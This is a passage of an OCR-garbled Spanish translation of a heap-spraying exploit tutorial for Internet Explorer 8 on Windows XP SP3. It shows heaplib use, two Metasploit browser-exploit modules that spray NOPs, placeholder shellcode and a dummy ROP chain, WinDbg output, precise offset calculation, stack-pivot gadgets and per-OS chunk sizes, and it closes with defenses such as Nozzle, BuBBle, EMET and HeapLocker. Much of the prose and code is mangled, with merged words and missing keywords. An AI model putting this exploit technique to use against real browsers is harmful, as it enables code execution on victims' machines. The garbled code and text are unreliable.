trozo correcto.

Asignaciones y desfragmentacion

La combinacién de la técnica de Plunger con la @dpd de ejecutar el
recolector de basura cuando se quiere o necesdazapacidad de realizar
las asignaciones del trozo de un determinado tanes@cto, entonces
puedes tratar de desfragmentar el Heap. Al contiasignando bloques del
tamafo exacto que necesitamos, todos los agujesiblgs en el disefio
del Heap seran saciados. Una vez que salimos flagmentacion, las
asignaciones seran consecutivas.

Uso de Heaplib
Usando heaplib en un Exploit de navegador es taih damo incluir la
biblioteca javascript, crear una instancia de hkapl llamar a las

funciones. Por suerte, la biblioteca heaplib hao sidcorporada en
Metasploit, proporcionando una manera muy convéaieéa implementar.
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La aplicacion esta basada en 2 archivos:

lib/rex/exploitation/heaplib.js.b64

lib/rex/exploitation/heaplib.rb

El segundo simplemente se carga o decodifica Edrecodificada base64
de la biblioteca javascriphéaplib.js.b64) y aplica un poco de ofuscacion.

Si deseas ver el verdadero cédigo JavaScript, smmaite decodifica el
archivo base64 tu mismo. Puedes utilizar el comatediinux base64 para
hacer esto:

base64 -d heaplib.js.b64 > heaplib.js

Las asignaciones utilizando heaplib son procespdoka funcion:

heapLib.ie. .allocOleaut32 = (arg, tag) {
size;

/I Calcula el tamafio de la asignacion.
( arg==" string "|| arg
size = 4 + arg. *2 +2; /l'len + string data + null
terminator

size = arg;

/I Se asegura que el tamafio sea valido.
((size & 0xf) I=0)
" Allocation size "+ size +" must be a multiple of 16

/I Crea un array para esta etiqueta si no existe.
( .mem|tag] === undefined)
.memftag] = 0;

( arg==" string "|| arg ) {
/I Asigna un nuevo bloque with strdup del argumento de la string.
.mem|tag].push(arg.substr(0, arg. );

{
/I Asigna el bloque.
.mem|tag].push( .padding((arg-6)/2));

Debes entender por qué la asignacion actual (¢afned de el script)
utiliza "(arg-6) / 2" Header + Unicode + terminadgrecuerdas?
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El recolector de basura se ejecuta cuando se itldacfancion gc() del
heaplib. Esta funcion llama primero a CollectGad§agn oleaut32, luego,
termina de ejecutar esta rutina:

heapLib.ie. .flushOleaut32 = 0{

.debug(" Flushing the OLEAUT32 cache ");

/I Libera los blogues de tamafio méximo y saca los m as pequenos.
.freeOleaut32(" oleaut32 ");

//Asigna los bloques de tamafio max. de nuevo, vacia ndo la caché.
( i=0;i<6;i++) {
.allocOleaut32(32, " oleaut32 ");
.allocOleaut32(64, " oleaut32 ");
.allocOleaut32(256, " oleaut32 ");
.allocOleaut32(32768, " oleaut32 ");

Con la asignacion de 6 trozos de cada bin GC,daécse vacia.
Antes de continuar: Sefor Sotirov. Heaplib es akelente. Mis respetos.
Probando Heaplib en XP SP3, IE8
Vamos a usar un Spray muy basico de heaplib coffreBP3, Internet
Explorer 8 (usando un modulo de Metasploit simpteyer si somos
capaces de distribuir nuestro Payload en el Heam déumgar predecible.
Modulo heaplibtest.rb de Metasploit - coloca el médulo en:
modules/exploits/windows/browser

O en:

/root/.msf4/modules/exploits/windows/browser

Si quieres mantenerlos fuera de la carpeta delangia de Metasploit.
Tendras que crear la estructura de carpetas amtaspiar el archivo.

require  'msf/core’

Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML

initialize(info = {})
(update_info(info,
‘Name' =>'HeapLib test 1
‘Description’  => %q{
This demonstrates the use
of heaplib
b
‘License' => MSF_LICENSE,
‘Author => [ 'corelanc0d3r' |,
‘Version' =>'$Revision: $',
‘References’ =>
[
[ 'URL', 'http://www.corelan-
training.com' ],
]1
'DefaultOptions' =>

{
'EXITFUNC' => 'process',

'Payload'
{
'‘Space’ => 1024,
'‘BadChars' ="

'Platform'’ =>'win’,
‘Targets' =>
[
['IE 8', { 'Ret' => 0xOCOCOCOC

]1
'DisclosureDate’ => ",
'‘DefaultTarget’ => 0))

autofilter

check_dependencies
use_zlib

on_request_uri(cli, request)
# Re-genera el Payload
(( p =regenerate_payload(cli)) ==

# Codifica alguna Shellcode falsa (BPs)
code="  \xcc "*400
code_js = Rex::Text.to_unescape(code,
Rex::Arch.endian(target.arch))

nop="  \x90\x90\x90\x90
nop_js = Rex::Text.to_unescape(nop,
Rex::Arch.endian(target.arch))

spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
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var code = unescape(" #{code_js} ");// Cédigo a ejecutar.
var nops = unescape(" #{nop_js} "); /INOPs

(nops.length < 0x1000) nops+= nops; // Crea un
blogue grande de NOPs

/l compose one block, which is nops + shellcode, si ze 0x800 (2048)
bytes

var shellcode = nops.substring(0,0x800 - code.le ngth)
+ code;

/I Repite el bloque.
(shellcode.length < 0x40000) shellcode +=
shellcode;

var block = shellcode.substring(2, 0x40000 - 0x21

/Ispray
(var i=0; i < 500; i++) {
heap_obj.alloc(block);
}

document.write(“Spray listo”);
JS

#Se asegura de que la biblioteca Heaplib se incluya en el JavaScript.
js = heaplib(spray)

# Construye el Html.

content = <<-HTML

<html|>

<body>

<script language="javascript'>
#{js}

</script>

</body>

</html|>

HTML

print_status(" Sending exploit to

#{cli.peerhost}:#{cli.peerport}... )

# Transmite la respuesta al cliente
send_response_htmil(cli, content)

En este script, vamos a construir un bloque badieo0x1000 bytes
(0800 * 2) y, a luego, repetir hasta que el tam@afal llegue a 0x40000
bytes. Cada bloque contiene NOP’s + Shellcode,lpague la variable
"Shellcode" contiene NOP’s + Shellcode + NOP’s ell&bde + NOP’'s +
Shellcode... y asi sucesivamente.
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Por dltimo vamos a pulverizar el Heap con nuedbiogues de Shellcode
(200 veces).

Uso:

msfconsole:

msf > use exploit/windows/browser/heaplibtest
msf exploit(heaplibtest) > set URIPATH /
URIPATH =>/

msf exploit(heaplibtest) > set SRVPORT 80
SRVPORT => 80

msf exploit(heaplibtest) > exploit

[*] Exploit running as background job.

[¥] Started reverse handler on 10.0.2.15:4444
[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://10.0.2.15:80/

[*¥] Server started.

Conéctate con IE8 (XP SP3) al servidor Web del nwde Metasploit y
attacha Windbg a Internet Explorer cuando el Sgmyhaya terminado.
Ten en cuenta que, dado que en Internet Explorera@a pestaia se
ejecuta en su propio proceso iexplore.exe, asiagagurate de attachar el
proceso correcto (utiliza la que fue generada antes

Vamos a ver si uno de los Heaps del proceso muestrastro del Heap
Spray:

0:019> 'heap -stat
_HEAP 00150000
Segments 00000003
Reserved bytes 00400000

Committed bytes 0031e000
VirtAllocBlocks 00000001
VirtAlloc bytes 034b0000

<...>

Eso es bueno - por lo menos algo que parecia pasado. Presta atenciéon
aVirtAlloc bytes también parece tener un valor alto (0 mas adimpien.
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El resumen de la asignacion actual para este Heap asi:

0:019> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffc0 201 - 10077fcO (98.65)
3fff8 3 - bffe8 (0.29)
80010 1 - 80010 (0.19)
1fff8 3 - 5ffe8 (0.14)
fff8 6 - 5ffd0 (0.14)
8fcl 8 - 47e08 (0.11)
1ff8 21 - 41ef8 (0.10)
3ff8 10 - 3ff80 (0.10)
7ff8 5 - 27fd8 (0.06)
13fcl 1 - 13fcl (0.03)
10fcl 1 - 10fcl (0.03)
ff8 e - df90 (0.02)
7f8 19 - ¢738 (0.02)
b2e0 1 - b2e0 (0.02)
57e0 1 -57e0 (0.01)
4fcl 1 - 4fcl (0.01)
5e4 b - 40cc (0.01)
20 1d6 - 3ac0 (0.01)
3980 1 - 3980 (0.01)
3f8 ¢ - 2fa0 (0.00)

Excelente - mas del 98% de las asignaciones fuetaioques de 0x7ffcO
bytes.

Si nos fijamos en las asignaciones para el tamaiiticd, obtenemos lo
siguiente:

0:019> !heap -flt s 0x7ffcO
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
034b0018 fff8 0000 [0Ob] 034b0020 7ffc 0 - (busy VirtualAlloc)
03540018 fff8 fff8 [0b] 03540020 7ffc 0 - (busy VirtualAlloc)
035d0018 fff8 fff8 [0b] 035d0020 7ffc 0 - (busy VirtualAlloc)
03660018 fff8 fff8 [0b] 03660020 7ffc 0 - (busy VirtualAlloc)
036f0018 fff8 fff8 [Ob] 036f0020 7ffc 0 - (busy VirtualAlloc)
03780018 fff8 fff8 [0b] 03780020 7ffc 0 - (busy VirtualAlloc)
<...>
Obbb0018 fff8 fff8 [0b] Obbb0020 7ffc 0 - (busy VirtualAlloc)
0bc40018 fff8 fff8 [0b] 0bc40020 7ffc 0 - (busy VirtualAlloc)
Obcd0018 fff8 fff8 [0b] 0bcd0020 7ffc 0 - (busy VirtualAlloc)
0bd60018 fff8 fff8 [Ob] 0bd60020 7ffc 0 - (busy VirtualAlloc)
0bdf0018 fff8 fff8 [Ob] Obdf0020 7ffc 0 - (busy VirtualAlloc)
0be80018 fff8 fff8 [Ob] 0be80020 7ffc 0 - (busy VirtualAlloc)
0bf10018 fff8 fff8 [Ob] Obfl10020 7ffc 0 - (busy VirtualAlloc)
0bfa0018 fff8 fff8 [Ob] Obfa0020 7ffc 0 - (busy VirtualAlloc)
0c030018 fff8 fff8 [0b] 0c030020 7ffc 0 - (busy VirtualAlloc)
0c0c0018 fff8 fff8 [0b] 0c0c0020 7ffc 0 - (busy VirtualAlloc)
0c150018 fff8 fff8 [0b] 0c150020 7ffc 0 - (busy VirtualAlloc)
0c1e0018 fff8 fff8 [0b] 0c1e0020 7ffc 0 - (busy VirtualAlloc)
0c270018 fff8 fff8 [0b] 0c270020 7ffc 0 - (busy VirtualAlloc)
0c300018 fff8 fff8 [0b] 0c300020 7ffc 0 - (busy VirtualAlloc)
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Claramente podemos ver un patron aqui. Todas lgragsones parecen
comenzar en una direcciébn que termina en 0x18.ufires repetir el
mismo ejercicio otra vez, te darias cuenta de i

Al volcar una direccién "previsible", podemos vésramente que nos las
arreglamos para realizar una pulverizacion fundiona

0:019> d 0c0c0cOc

0c0c0cOc 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0cOclc 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0c0c2c 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0c0c3c 90 90 90 90 90 90 90 90-90 90 90 90 90 90

0c0cOc4c 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0c0c5¢ 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0c0Oc6c 90 90 90 90 90 90 90 90-90 90 90 90 90 90
0c0c0Oc7c 90 90 90 90 90 90 90 90-90 90 90 90 90 90

Perfecto. Bueno, casi. Aunque vemos un patrén, sph@o entre la
direccibn base de 2 asignaciones consecutivas e®x86000 bytes,
mientras que el tamafio asignado en si es de OxBytd8. Esto significa
que puede haber espacio entre los dos trozos dp. Ag@mas de eso,
cuando se ejecuta el Spray mismo otra vez, losdrdel Heap se asignan a
las direcciones base totalmente diferentes:

0b9c0018 fff8 fff8 [0b] 0b9c0020 7ffc
0ba50018 fff8 fff8 [Ob] 0ba50020 7ffc
Obae0018 fff8 fff8 [Ob] Obae0020 7ffc
Obb70018 fff8 fff8 [Ob] Obb70020 7ffc
0bc00018 fff8 fff8 [0b] 0bc00020 7ffc
0bc90018 fff8 fff8 [0b] 0bc90020 7ffc
0bd20018 fff8 fff8 [0b] 0bd20020 7ffc
0bdb0018 fff8 fff8 [Ob] Obdb0020 7ffc
0be40018 fff8 fff8 [0b] 0be40020 7ffc
Obed0018 fff8 fff8 [Ob] Obed0020 7ffc
0bf60018 fff8 fff8 [Ob] 0bf60020 7ffc
0bff0018 fff8 fff8 [Ob] 0bff0020 7ffc

0c080018 fff8 fff8 [0b] 0c080020 7ffc
0c110018 fffg fff8 [Ob] 0c110020 7ffc
0c1a0018 fff8 fff8 [0b] 0c1a0020 7ffc
0c230018 fff8 fff8 [0b] 0c230020 7ffc
0c2c0018 fff8 fff8 [0b] 0c2c0020 7ffc

- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)
- (busy VirtualAlloc)

cNololoNoloNoloNololoNoloNoNoNoNe]

En la primera ejecucion, 0cOcOcOc pertenecia abtdel Heap a partir de
0x0c0c0018, y la segunda vez pertenecid a una bparna a partir de
0x0c080018).

De todas formas, tenemos un Heap Spray funciomallg8 ahorawQOt.

Una nota sobre los sistemas de ASLR (Vista, Win7tcg
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Puedes preguntarte cuél es el impacto de ASLR éfeab Spray. Bueno,
yo puedo ser muy breve sobre este tema. Como d&aexnui, las

asignaciones de VirtualAlloc() no parecen estagtagja ASLR. Seguimos
siendo capaz de realizar asignaciones predecibtes (na alineacién de
0x10000 bytes). En otras palabras, si utilizas bmjues que son o
suficientemente grandes (VirtualAlloc se utilizagara asignarlos), el
Heap Spray no se ve afectado por ella.

Por supuesto, ASLR tiene un impacto en el restd=gploit (convierte el
control de EIP en ejecucion de caodigo, etc), pei® esta fuera del alcance
de este tutorial.

Precision del Heap Spraying
¢ Por qué es necesario esto?

DEP nos impide saltar a una secuencia de NOP’sl ldeap. Con IE8 (o
cuando DEP esta habilitado en general), esto gignifue el Heap Spray
clasico no funciona. Usando heaplib, nos las aaregs para pulverizar el
Heap en IE8, pero que aun no se resuelve el prablienDEP.

Con el fin de evitar DEP, tenemos que ejecutaraaakena de ROP. Si no
estas familiarizado con ROP, echa un vistazo atasteal. En cualquier
caso, tendremos que volver al inicio de una caden@OP. Si esa cadena
de ROP esta en el Heap, entregada como parte dpl $jaying, tenemos
gue ser capaces de retornar al inicio exacto dadana, o (si la alineacién
no es un problema), retorna a una secuencia deNRKiHPcolocada antes la
cadena de ROP.

¢, Como resolver esto?

Con el fin de hacer que esto funcione, tenemos aumplir algunas
condiciones:

* Nuestro Heap Spray debe ser exacto y preciso. ¢°darto, el
tamano del trozo es importante porque tenemos aga €l maximo
provecho de la previsibilidad de las asignacionés glineacion de
bloques en el Heap. Esto significa que, cada vezpaglverizamos,
nuestra direccion previsible debe apuntar exacteerarinicio de la
cadena de ROP.
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« Cada trozo debe estar estructurado de tal maneea ngestra
direccién predecible apunte al inicio de la cadds&OP.

« Tenemos que voltear el Heap hacia la pila, asi quando
recorramos la cadena de ROP, ESP apunte al Heaa Yarpila real.

Si sabemos que la alineacion del trozo en el Hmsade 0x1000 bytes,
entonces tenemos que utilizar una estructura daySpre se repita cada
0x1000 bytes (usa 0x800 bytes en JavaScript, gegaetamente la mitad
de 0x1000 bytes - debido al problema dength con los datos de
unescape() vamos a terminar la creacion de bloques de 0x13@6s
cuando se use 0x800 para comprobar un valor detdadng Al probar el
script de heapspray en IE8 (XP SP3) antes, nossdouenta de que las
asignaciones del trozo del Heap se alinean a utiphaGile 0x1000 bytes.

En la primera ejecucién, 0cOcOcOc era parte deranotdel Heap a partir
de 0x0c0c0018, y la segunda vez pertenecio a ueaabparte a partir de
0x0c080018. Cada uno de los trozos se pobl6 cobldagies de repeticion
de 0x800 bytes.

Por lo tanto, si fueras a asignar 0x20000 bytesesias 20 o 40
repeticiones de tu estructura. Usando heaplib, apre precision puede
asignar bloques de un tamafio deseado.

La estructura de cada blogue de heapspray de 044066 se veria asi:

Relleno (basura) Cadena ROP Shellcode Relleno (basura)

Necesitamos hacer que nuestra
direccion predecible apunte
exactamente a este lugar.

He usado 0x1000 bytes porque descubri que, sinrierpel sistema
operativo o version de IE, las asignaciones delpHssaecen variar, pero
son siempre un multiplo de 0x1000 bytes.
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Offset de relleno

Para conocer la cantidad de bytes que tenemos tdzarucomo relleno

antes de la cadena de ROP, tenemos que asignas toasecutivos y de
medidas perfectas, y vamos a tener que hacer ua gecmatematica
simple.

Si utilizamos trozos del tamafio correcto, y blogdespulverizacion del
tamafo correcto, nos aseguraremos de que el ideicada bloque de
pulverizacion se posicionara en una direccion pmibbe

Dado que vamos a utilizar repeticiones de 0x10G@shyen realidad no
importa donde comienza el trozo del Heap. Si pudasr bloques del
tamafo correcto, podemos estar seguros de qustéancia desde el inicio
del bloque de 0x1000 bytes correspondiente arkecaodn de destino
siempre es correcta, y por lo tanto el Heap Spgagaria preciso. O, en
otras palabras, podemos estar seguros de quetedlamlos bytes exactos
apuntados por nuestra direccion de destino.

Sé que esto puede sonar un poco confuso en estentmrasi que vamos a
echar un vistazo de nuevo al Heaplib Spray que osam IES (XP SP3).

Configura el médulo de nuevo, y deja que el Heamyspe ejecute dentro
de Internet Explorer 8 en la maquina XP.

Cuando el Spray se haya terminado, attacha Windbgoraceso
iexplore.exe correcto y encuentra el trozo queienatOx0c0c0cOc.

Digamos que este es el resultado que se obtiene:

0:018> 'heap - -a 0c0c0cOc
address 0c0c0cOc found
_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
0c080018 fff8 0000 [0b] 0c080020 7ffc 0 - (busy
VirtualAlloc)
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Ya que utiliza blogues de repeticion de 0x1000Hyeearea de memoria a
partir de 0x0c080018 se veria asi:

Address | Contents

0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes
OCO80018 | Nops | shallcods | Nops | shelicods | Nops | shellcods | Nops | shellcoda | .. | Nops | shellcode |

0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes
0cO90018 | Nops| shellcode | Nops | shellcode | Nops | shellcode | Nops | shellcode | ... | Nops | shellcode |

0x1000 bytes 0x1000 bytes 0x1000 bytes %1000 bytes i 0x1000 bytes
0c0a0018 | Nops | shellcode | Nops | shellcode | Nops | shellcode | Neps | shellcode | . | Nops | shellcode |

0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ; 0x1000 bytes
0CObOOL8 | Nops | shellcods | Nops | shellcods | Nops | shellcods | Nops | shelloode | .. | Nops | shellcode |

0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes
0cOCO018 | Nops | shellcode | Nops | shelicode | Nops | shellcode | Nops | shellcode | ... | Nops | shellcode |

0c0d0018

0x0c0c0c0c

Asi pues, si el tamafio del trozo del Heap es prgciseguimos repetiendo
bloques del tamafio correcto, sabremos que 0xOcOcflethpre apuntara
en el mismo Offset desde el principio de un blogiee 0x800 bytes.
Ademas de eso, la distancia desde el inicio dejugqoara el byte actual
donde 0x0c0c0cOc apuntard, sera muy fiable.

Calcular el Offset es tan simple como conseguilidtancia desde el inicio
del bloque donde pertenece 0x0cOc0cOc, y dividiEngor 2 (Unicode,
¢recuerdas?).

Por lo tanto, si el trozo del Heap donde 0xOcOcQefitenece, comienza en
0x0c0c0018, primero obtenemos la distancia de ruestbjetivo
(0x0c0c0c0c) a la UserPtr (que es 0x0c0c0020). &e ejemplo, la
distancia seria 0x0c0cOcOc - 0x0c0c0020 = OxBE@ideila distancia
entre 2 = Ox5F6. Este valor es menor que 0x1000|gpque este sera el
desplazamiento u Offset que necesitamos.

Esta es la distancia desde el comienzo de un bldquex800 bytes, a
donde 0x0c0c0cOc apuntara.

Vamos a modificar el script de Heap Spray y aplesie Offset. Vamos a
preparar el codigo de una cadena ROP  (utlizaremos
AAAABBBBCCCCDDDDEEEE como cadena ROP). El objete® hacer
gue 0x0c0c0cOc apunte exactamente al primer byie ceedena de ROP.
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Script Modificado feaplibtest2.rby):

require  'msf/core’

Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

initialize(info = {})
(update_info(info,
‘Name' =>'HeapLib test 2,
'Description’  => %q{
This demonstrates the use
of heaplib
to implement a precise heap
spray
on XP SP3, IE8
h
‘License' => MSF_LICENSE,
‘Author => [ 'corelanc0d3r' |,
'Version' => '$Revision: $',
‘References’ =>
[
[ 'URL', 'http://www.corelan-
training.com' ],

'DefaultOptions' =>

{
'EXITFUNC' => 'process’,

h
'Payload'
{

‘Space’ => 1024,
'‘BadChars' ="
2
'Platform' =>'win',
‘Targets' =>
[
['XP SP3 - |E 8, { 'Ret' =>
0x0CO0CO0CO0C }]
1,
'DisclosureDate’ => ",
'DefaultTarget’ => 0))

autofilter

check_dependencies
use_zlib

on_request_uri(cli, request)
# Re-genera el Payload
((  =regenerate_payload(cli)) ==

# Codifica alguna Shellcode falsa (BPS)
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code =" \xcc " * 400
code_js = Rex::Text.to_unescape(code,
Rex::Arch.endian(target.arch))

# Codifica la cadena ROP
rop =" AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
rop_js = Rex::Text.to_unescape(rop,
Rex::Arch.endian(target.arch))

pad ="  \x90\x90\x90\x90
pad_js = Rex::Text.to_unescape(pad,
Rex::Arch.endian(target.arch))

spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);

var code = unescape(" #{code js} "); I/l Cédigo a
ejecutar.

var rop = unescape(" #{rop_js} "); //Cadena ROP

var padding = unescape(" #{pad_js} ");//INOPs
Padding/Junk

(padding.length < 0x1000) padding += padding; //
create big block of junk

offset_length = Ox5F6;
junk_offset = padding.substring(0, offset_length)
(" Spray done ");

var shellcode = junk_offset + rop + code +
padding.substring(0, 0x800 - code.length - junk_off set.length -
rop.length);

/I Repite el bloque.
(shellcode.length < 0x40000) shellcode +=
shellcode;

var block = shellcode.substring(2, 0x40000 - 0x21

lIspray
(var i=0; i < 500; i++) {
heap_obj.alloc(block);
}

document.write(“Spray listo”);
JS

#Se asegura de que la biblioteca Heaplib se incluya en el JavaScript.
js = heaplib(spray)

# Construye el Html.

content = <<-HTML

<html>

<body>

<script language='"javascript'>
#{js}

</script>

</body>
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</html>
HTML

print_status(" Sending exploit to
#{cli.peerhost}.#{cli.peerport}... ")

# Transmite la respuesta al cliente
send_response_htmil(cli, content)

Resultado:

0:018> d 0c0c0cOc

0c0c0cOc 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
0cOcOclc 45 45 45 45 46 46 46 46-47 47 47 A7 48 48 48 48 EEEEFFFFGGGGHHHH
0c0c0c2c cc cc cc cC CC CC CC CC-CC CC CC CC CC cC

0c0c0c3c cc cc cC cC cC CC CC CC-CC CC CC CC CC CcC ccce ...

0c0c0c4c cc cc cc cC cC CC CC CC-CC CC CC CC CC CcC ccce ...

0c0c0c5c cc cc cc cc e cC CC CC-CC CC CC CC CcC cC ccce ...

0c0c0c6e cc cc cC cC cC CC CC CC-CC CC CC CC CC CC cc cc

0c0c0c7c cc cc cc cC CC CC CC CC-CC CC CC CC CC CC ccce ...

EiMemory - Pid 596 - WinDbg:6.12.0002.633 X86

JVirtuaI: IDH‘ =3 JDispIay Format: IEIyte 'l | Frevious I MHext

OcOcff |
[0c0cObs? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0=0cz0bel
0=0z0bElb
0=0z0c=15
OcO0cOc2f
Oc0=0c49
O=0cz0ce3
0=0z0c7d
Oc0=0cs97
O0=0cz0chbl
Oclclcch
O=0cz0cesh
OcOcOcff
O0=0=0d19
Oc0c0d33
O=0c0d4d
O0=0=0d67
Oc0c0d81
0=0=0d9b
Oc0c0dbs
Oc=0cz0dct
Oc0=0ded
0=0cz0=03
O=0c0=1d
A=0-0=37

Nota: si el Heap Spray es de 4 bytes alineadostag eéeniendo dificultades
para hacer que la pulverizacion de precision sefatide, podrias llenar la
primera parte del relleno con una secuencia de ROP y volver a esa
zona. Tienes que asegurarte de que la secuencROde NOP es lo

suficientemente grande para evitar que 0xOcOcOpQata a la cadena de
ROP y no al inicio de la cadena de ROP.
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Punteros de funciones o vtable falsos

Hay una segunda razén para ser precisos. Si tegnmm@piendo un
puntero a una vtable o la propia vtable (lo querecde vez en cuando, por
ejemplo, con vulnerabilidades tipo use-after-frgm)ede que tengas que
elaborar una vtable falsa en una direccion deterdanAlgunos punteros
en la vtable pueden necesitar valores especifimdp que no puedes ser
capaz de hacer referencia a una parte del Heay 8pmatrozo que sélo
contiene OC’s, etc), pero puede que tengas queratalina vtable en una
direccion especifica, que contenga un valor edpecién ubicaciones
exactas.

Uso - De EIP a ROP (en el Heap)

Ya que no puedes saltar a la secuencia de NORskHeap cuando DEP
esta habilitado, tenemos que encontrar una mareratarnar al comienzo
exacto de la cadena de ROP puesta en el Heap.uede,spodemos
controlar la ubicacion exacta de donde nuestra neadie ROP sera
colocada.

Hay un par de maneras de hacer esto.

Si tienes unos pocos dwords de espacio controladasdisposicion en la
pila (ya sea directamente después de sobreesaribountero de retorno
guardado, o por medio de un Stack Pivot), entoseepodria crear una
pequefia pila para invertir la cadena del Heap.

En primer lugar, necesitas encontrar un Gadget agumbie ESP a un
registro (por ejemplo XCHG ESP, EAX # RET o0 MOV EEBRX#RETN).

También se necesita un Gadget para poner un valdicko registro.

La pequefia cadena siguiente iniciard la cadena R@Pcolocada en el
Heap en 0c0cO0cOc.
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Gadgets tomados de msvcr71.dll, como ejemplo:

Buffer de la pila sobrescrito con A's.

D 1 r
00121204 41414141
00121208 41414141

untero de retorno guardadoUSHPXPICREVIE Y -y P E MM POP EAX#RETN
00121210  0cOcOcOC 1
00121214 7c348b05 BUOAINAI L LIANN

00121218
0012121C

Esto cargaria 0cOcOcOc en EAX, luego, pon ESP eX.BAla cadena de
ROP esta situada exactamente en 0c0cOcOc, es@ idrar la cadena de
ROP en esa ubicacion.

Si no cuentas con espacio adicional en la pila cu#rolas y puedes
utilizar, pero uno de los registros al Heap Sprawnlguna parte, solo tiene
qgue alinear la cadena de ROP para hacer que apuesa direccion, y
después sobreescribir EIP con un puntero a un Gadgepondria ESP a
ese registro + RET.

Tamanos del trozo

Para tu conveniencia, he documentado los tamafosagignacion
necesarios para IE7 e IE8, que se ejecutan en Xt&/Win7 (cuando
apliquen), que te permitira realizar Heap Spraypngciso sobre IE8 en
Windows XP, Vista y Windows 7.

SO y navegador Sintaxis del bloque

XP SP3 - IE7 block = shellcode.substring(2,0x100821);

XP SP3 - IE8 block = shellcode.substring(2, 0x4000821);
Vista SP2 — IE7 block = shellcode.substring(0 4@300-6)/2);
Vista SP2 — IE8 block = shellcode.substring(0 4@300-6)/2);
Win7 — IE8 block = shellcode.substring(@<80000-6)/2);
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Lo unico que tienes que hacer es averiguar elneikel Offset y construir
la estructura del bloque de pulverizacién (0x80@%)yen consecuencia.

Pulverizacién precisa con imagenes

La rutina de pulverizacion de mapa de bits esqrita Moshé Ben Abu
parece que funciona en IE8 también, aunque puegléeqgas que agregar
un poco de asignacion al azar (ver capitdemp Spraying en Internet
Explorer 9) dentro de la imagen para que sea mas fiable.

Cada imagen se corresponde con un bloque de Heap Smple. Asi que,
si aplicas la légica que se aplico anteriormente emte capitulo
(bdsicamente  repetir  "sub-bloques" de  0x1000 Dbytede
relleno/rop/shellcode/relleno) dentro de la imagdeberia ser posible
llevar a cabo un Heap Spray preciso, por lo tantmprueba que la
direccién deseada (0x0c0c0cOc) apunte directanaritécio de la cadena
ROP).

Protecciones de Heap Spraying

Nozzle & BuBBle

Nozzle:
http://research.microsoft.com/apps/pubs/defaulk@islz 76528

BuBBle:
https://lirias.kuleuven.be/bitstream/123456789/2854/fulltext.pdf

Nozzle y BuBBle son 2 ejemplos de mecanismos dendaf contra los
atagues de Heap Spraying. Implementado en el ndweggse intentara
detectar un Heap Spray e impedira su funcionamiento

El articulo de investigacion de Nozzle, publicadwy Microsoft, explica

gue el mecanismo de Nozzle intenta detectar una der bytes que se
traducen en instrucciones validas. Nozzle intentegéonocer bytes
recurrentes que se traducen en instrucciones salidaa secuencia de
NOP’s, por ejemplo), y evitara la asignacion.
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La rutina de BuBBle se basa en el hecho de queHeap Sprays

desencadenan asignaciones que contienen el mismtenao (0 muy

similar) una gran secuenciade NOP’s + Shellcodedterial de relleno +
cadena de ROP + Shellcode + relleno). Si una rutendavaScript intenta
asignar varios bloques que tienen el mismo contedBBle lo detectara
y evitara las asignaciones.

Esta técnica se aplica actualmente en Firefox.

Ambas técnicas tendrian éxito en el bloqueo de dgonia de los Heap
Sprays que implementan NOP’s + Shellcode (o incN®®’s + ROP +
Shellcode + NOP’s en caso de un Heap Spray pre@sohecho, cuando
probé el Heap Spray contra las versiones mas tesiele los navegadores
principales (Internet Explorer 9, Firefox 9), ddsdwgue dos de ellos muy
probablemente implementan al menos una de estasdéc

EMET

http://www.microsoft.com/download/en/details.aspixi677

EMET, una utilidad gratuita de Microsoft, permitetigar una serie de
mecanismos de proteccion que disminuyen la pradadilque un Exploit
pueda utilizar para tomar el control de tu sistema.

Puedes encontrar una breve descripcion de lo NlETEfrece aqui:

http://blogs.technet.com/b/srd/archive/2011/05/&8Aversion-of-emet-is-
now-available.aspx

Cuando se activa, la proteccion heapspray pre-asa@rtas regiones
"populares" en la memoria. Si hay lugares como @a@& o 0c0cOcOc que
ya estan asignados por otra cosa (EMET en estg, daséleap Spray
todavia funcionaria, pero tu direccion de destiraputar no podria
contener tus datos, por lo que saltar a la mismamiria mucho sentido.

Si deseas mas control sobre el tipo de proteccigneE£MET permite para

una aplicacion determinada, soOlo tienes que afiagaiquier archivo
ejecutable y establecer las opciones deseadas.
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HeapLocker

L:j Application Configuration = T it oF

File
Applications
|A|:||:| Name DEP SEHOP | NullPage HeapSpray EAF | MandatoryASLR. | EBottomUpRand |

La herramienta HeapLocker, escrita por Didier Steve

http://blog.didierstevens.com/programs/heaplocker/

Proporciona otro mecanismo de proteccion congddieap Sprays.

Despliega una serie de técnicas para mitigar uguatale Heap Spray,
incluyendo:

» Pre-asignara ciertas regiones de memoria:

http://blog.didierstevens.com/2011/10/18/heaplogkerenting-
heapsprays/

Al igual como lo hace EMET, e inyectara un poco 8kellcode
personalizada que mostrara una ventana emergense, erminara la
aplicacion inmediatamente.

